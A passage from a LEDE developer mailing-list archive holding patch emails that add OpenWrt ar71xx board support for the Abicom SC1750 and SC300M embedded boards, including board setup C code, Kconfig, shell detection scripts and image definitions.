 	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
 	;;
+sc1750|\
 sc450)
 	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index 695f0a1..324387a 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -44,6 +44,7 @@ get_status_led() {
 	mr12|\
 	mr16|\
 	nbg6616|\
+	sc1750|\
 	sc450|\
 	tl-wpa8630)
 		status_led="$board:green:power"
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index a15aab9..8072f65 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -881,6 +881,9 @@ ar71xx_board_detect() {
 	*RW2458N)
 		name="rw2458n"
 		;;
+	*SC1750)
+		name="sc1750"
+		;;
 	*SC300M)
 		name="sc300m"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 690f5f2..5642d3b 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -226,6 +226,7 @@ platform_check_image() {
 	rocket-m-xw|\
 	rocket-m|\
 	rw2458n|\
+	sc1750|\
 	sc300m|\
 	sc450|\
 	sr3200|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index bdd2179..b67f559 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
+CONFIG_ATH79_MACH_SC1750=y
 CONFIG_ATH79_MACH_SC300M=y
 CONFIG_ATH79_MACH_SC450=y
 CONFIG_ATH79_MACH_SMART_300=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 37eb57d..b405e89 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -14,6 +14,17 @@ config ATH79_MACH_ALFA_AP96
 	select ATH79_DEV_M25P80
 	select ATH79_DEV_USB
 
+config ATH79_MACH_SC1750
+	bool "Abicom SC1750 board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_SC300M
 	bool "Abicom SC300M board support"
 	select SOC_QCA955X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index ae0e007..fc6ea50 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
+obj-$(CONFIG_ATH79_MACH_SC1750)			+= mach-sc1750.o
 obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
 obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
new file mode 100644
index 0000000..653d642
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
@@ -0,0 +1,145 @@
+/*
+ * Abicom International Scorpion SC1750 support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC1750_GPIO_LED_POWER		11
+#define SC1750_GPIO_LED_ERR1		12
+#define SC1750_GPIO_LED_WLAN		13
+#define SC1750_GPIO_LED_ERR2		14
+#define SC1750_GPIO_LED_OK3		15
+#define SC1750_GPIO_LED_ERR3		16
+#define SC1750_GPIO_BTN_RESET		4
+
+#define SC1750_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC1750_KEYS_DEBOUNCE_INTERVAL	(3 * SC1750_KEYS_POLL_INTERVAL)
+
+#define SC1750_MAC0_OFFSET		0
+#define SC1750_MAC1_OFFSET		6
+#define SC1750_WMAC_CALDATA_OFFSET	0x1000
+#define SC1750_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc1750_leds_gpio[] __initdata = {
+	{
+		.name		= "sc1750:green:power",
+		.gpio		= SC1750_GPIO_LED_POWER,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:red:power",
+		.gpio		= SC1750_GPIO_LED_ERR1,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:green:wlan",
+		.gpio		= SC1750_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:red:wlan",
+		.gpio		= SC1750_GPIO_LED_ERR2,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc1750_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC1750_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC1750_GPIO_BTN_RESET,
+		.active_low	= 0,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc1750_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc1750_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc1750_leds_gpio),
+				 sc1750_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC1750_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc1750_gpio_keys),
+					sc1750_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC1750_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc1750_mdio0_info,
+				    ARRAY_SIZE(sc1750_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC1750_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC1750, "SC1750", "Abicom SC1750", sc1750_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index da9c160..d849272 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -168,6 +168,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
+	ATH79_MACH_SC1750,			/* Abicom SC1750 */
 	ATH79_MACH_SC300M,			/* Abicom SC300M */
 	ATH79_MACH_SC450,			/* Abicom SC450 */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index 02b90b0..0214c53 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -464,6 +464,16 @@ define Device/onion-omega
 endef
 TARGET_DEVICES += onion-omega
 
+define Device/sc1750
+  DEVICE_TITLE := Abicom SC1750
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC1750
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc1750
+
 define Device/sc300m
   DEVICE_TITLE := Abicom SC300M
   DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 14:01:05 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 22:01:05 +0000
Subject: [LEDE-DEV] [PATCH v3 3/3] ar71xx: add Abicom SC1750 support
In-Reply-To: <20170115220105.10682-1-i@conorogorman.net>
References: <20170115220105.10682-1-i@conorogorman.net>
Message-ID: <20170115220105.10682-4-i@conorogorman.net>

Support Abicom International Scorpion SC1750 Board

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB Nand Flash
16MB Nor Flash
1x SFP, 1x PCIe
2x 10/100/1000 Ethernet
135x100 mm
802.11ng/g/b
802.11ac/an/a

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc1750.c     | 145 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 10 files changed, 175 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 898af5e..c24487e 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -437,6 +437,7 @@ re450)
 	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
 	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
 	;;
+sc1750|\
 sc450)
 	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index 695f0a1..324387a 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -44,6 +44,7 @@ get_status_led() {
 	mr12|\
 	mr16|\
 	nbg6616|\
+	sc1750|\
 	sc450|\
 	tl-wpa8630)
 		status_led="$board:green:power"
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index a15aab9..8072f65 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -881,6 +881,9 @@ ar71xx_board_detect() {
 	*RW2458N)
 		name="rw2458n"
 		;;
+	*SC1750)
+		name="sc1750"
+		;;
 	*SC300M)
 		name="sc300m"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 690f5f2..5642d3b 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -226,6 +226,7 @@ platform_check_image() {
 	rocket-m-xw|\
 	rocket-m|\
 	rw2458n|\
+	sc1750|\
 	sc300m|\
 	sc450|\
 	sr3200|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index bdd2179..b67f559 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
+CONFIG_ATH79_MACH_SC1750=y
 CONFIG_ATH79_MACH_SC300M=y
 CONFIG_ATH79_MACH_SC450=y
 CONFIG_ATH79_MACH_SMART_300=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 4383b9b..7da8d4e 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -42,6 +42,17 @@ config ATH79_MACH_TUBE2H
 	select ATH79_DEV_M25P80
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_SC1750
+	bool "Abicom SC1750 board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_SC300M
 	bool "Abicom SC300M board support"
 	select SOC_QCA955X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index ae0e007..fc6ea50 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
+obj-$(CONFIG_ATH79_MACH_SC1750)			+= mach-sc1750.o
 obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
 obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
new file mode 100644
index 0000000..653d642
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
@@ -0,0 +1,145 @@
+/*
+ * Abicom International Scorpion SC1750 support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC1750_GPIO_LED_POWER		11
+#define SC1750_GPIO_LED_ERR1		12
+#define SC1750_GPIO_LED_WLAN		13
+#define SC1750_GPIO_LED_ERR2		14
+#define SC1750_GPIO_LED_OK3		15
+#define SC1750_GPIO_LED_ERR3		16
+#define SC1750_GPIO_BTN_RESET		4
+
+#define SC1750_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC1750_KEYS_DEBOUNCE_INTERVAL	(3 * SC1750_KEYS_POLL_INTERVAL)
+
+#define SC1750_MAC0_OFFSET		0
+#define SC1750_MAC1_OFFSET		6
+#define SC1750_WMAC_CALDATA_OFFSET	0x1000
+#define SC1750_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc1750_leds_gpio[] __initdata = {
+	{
+		.name		= "sc1750:green:power",
+		.gpio		= SC1750_GPIO_LED_POWER,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:red:power",
+		.gpio		= SC1750_GPIO_LED_ERR1,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:green:wlan",
+		.gpio		= SC1750_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc1750:red:wlan",
+		.gpio		= SC1750_GPIO_LED_ERR2,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc1750_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC1750_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC1750_GPIO_BTN_RESET,
+		.active_low	= 0,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc1750_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc1750_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc1750_leds_gpio),
+				 sc1750_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC1750_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc1750_gpio_keys),
+					sc1750_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC1750_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc1750_mdio0_info,
+				    ARRAY_SIZE(sc1750_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC1750_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC1750, "SC1750", "Abicom SC1750", sc1750_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index da9c160..d849272 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -168,6 +168,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
+	ATH79_MACH_SC1750,			/* Abicom SC1750 */
 	ATH79_MACH_SC300M,			/* Abicom SC300M */
 	ATH79_MACH_SC450,			/* Abicom SC450 */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index 02b90b0..0214c53 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -464,6 +464,16 @@ define Device/onion-omega
 endef
 TARGET_DEVICES += onion-omega
 
+define Device/sc1750
+  DEVICE_TITLE := Abicom SC1750
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC1750
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc1750
+
 define Device/sc300m
   DEVICE_TITLE := Abicom SC300M
   DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 14:01:03 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 22:01:03 +0000
Subject: [LEDE-DEV] [PATCH v3 1/3] ar71xx: add Abicom SC300M support
In-Reply-To: <20170115220105.10682-1-i@conorogorman.net>
References: <20170115220105.10682-1-i@conorogorman.net>
Message-ID: <20170115220105.10682-2-i@conorogorman.net>

Support Abicom International Scorpion SC300M Module

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB Nand Flash
16MB SPI Flash
802.11a/na/b/g/ng
GPIO x 22, USB x2, PCIe x2
10/100/1000 Ethernet
23dBm, Optional Onboard Antenna
DC Input, 8-20V DC
85 x 55 mm

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   3 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 11 files changed, 164 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5a2bf0c..5be9d4a 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -279,6 +279,7 @@ gl-mifi)
 	esac
 	;;
 gl-domino|\
+sc300m|\
 wrt160nl)
 	ucidef_set_led_wlan "wlan" "WLAN" "$board:blue:wlan" "phy0tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 66274db..54069ce 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -93,6 +93,7 @@ ar71xx_setup_interfaces()
 	rb-sxt5n|\
 	re450|\
 	rocket-m-xw|\
+	sc300m |\
 	tl-mr10u|\
 	tl-mr11u|\
 	tl-mr12u|\
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index d060ccf..36f2c43 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -295,7 +295,8 @@ get_status_led() {
 	rb-sxt5n)
 		status_led="rb:green:power"
 		;;
-	re450)
+	re450|\
+	sc300m)
 		status_led="$board:blue:power"
 		;;
 	routerstation|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 1b30f4d..a8bdc67 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -881,6 +881,9 @@ ar71xx_board_detect() {
 	*RW2458N)
 		name="rw2458n"
 		;;
+	*SC300M)
+		name="sc300m"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 6341a31..74808ef 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -226,6 +226,7 @@ platform_check_image() {
 	rocket-m-xw|\
 	rocket-m|\
 	rw2458n|\
+	sc300m|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..daffdea 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
+CONFIG_ATH79_MACH_SC300M=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..a2662a6 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -42,6 +42,17 @@ config ATH79_MACH_TUBE2H
